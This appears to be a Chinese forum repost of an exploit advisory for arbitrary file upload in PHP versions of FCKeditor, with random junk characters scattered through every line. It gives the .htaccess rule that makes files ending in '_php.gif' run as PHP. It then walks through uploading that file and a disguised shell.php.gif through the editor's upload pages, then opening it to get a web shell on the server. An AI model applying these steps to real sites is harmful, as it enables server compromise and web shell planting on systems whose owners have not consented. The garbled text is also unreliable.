FCKeditor所有php版本Upload上传漏洞0 r' y+ r7 b' U
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07! R' u! D) N6 h
减小字体 增大字体/ N& M$ e2 |- _& }
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability3 N! v9 y" s; U. ]
[+] Date: 20113 A- m" K! H" d5 }3 M _ @
[+] Author : sinesafe.cn
8 _' e' m: w6 { n0 @[+] Website : WwW.sinesafe.cn+ O4 b0 g+ {9 h% y6 c5 e* i# \
———————————————————8 y8 M* y5 ?* O' X; S, P8 z4 a
1.create a htaccess file:! C3 @- k% G! H7 Z6 Y& ^. _! r
code:
R# R+ b" Z$ Z" `/ K<FilesMatch “_php.gif”>( H% M$ _: w( Z) W7 ~
SetHandler application/x-httpd-php
; L' m" [% e9 E# N9 S. I</FilesMatch>
3 ?( \1 s" X( W& g* }' i7 T# Q$ k8 ?/ P- Y; Q: i: I1 ? o5 p$ A
2.Now upload this htaccess with FCKeditor.
3 \7 A/ {5 t' D2 S
' n: b7 C, ~0 r% {+ O) L$ p% p2 _http://www.sinesafe.cn/FCKeditor ... er/upload/test.html
6 a* o, K6 t+ k9 P( f+ m9 m4 S( ^+ H7 j5 x$ D' y
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html6 ?: y% p/ X% ?, g9 @" D) z/ x/ ]& k
( ]# J) v& o3 P, J5 R
———————————————————————————————-
7 e3 b: B2 c2 H) S p3.Now upload shell.php.gif with FCKeditor.
" a8 C A7 F: n+ C/ z4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.( n9 O3 f: S6 O7 W# l
5.http://www.sinesafe.cn/anything/shell_php.gif& C- G; B, J$ `8 _" k
6.Now shell is available from server. |
% q. \% R& a+ j1 g/ M9 F* _5 J' ?& _/ m& K
, J9 D% c, a9 M
|
发表于 2013-10-27 17:25:21
收藏
支持
反对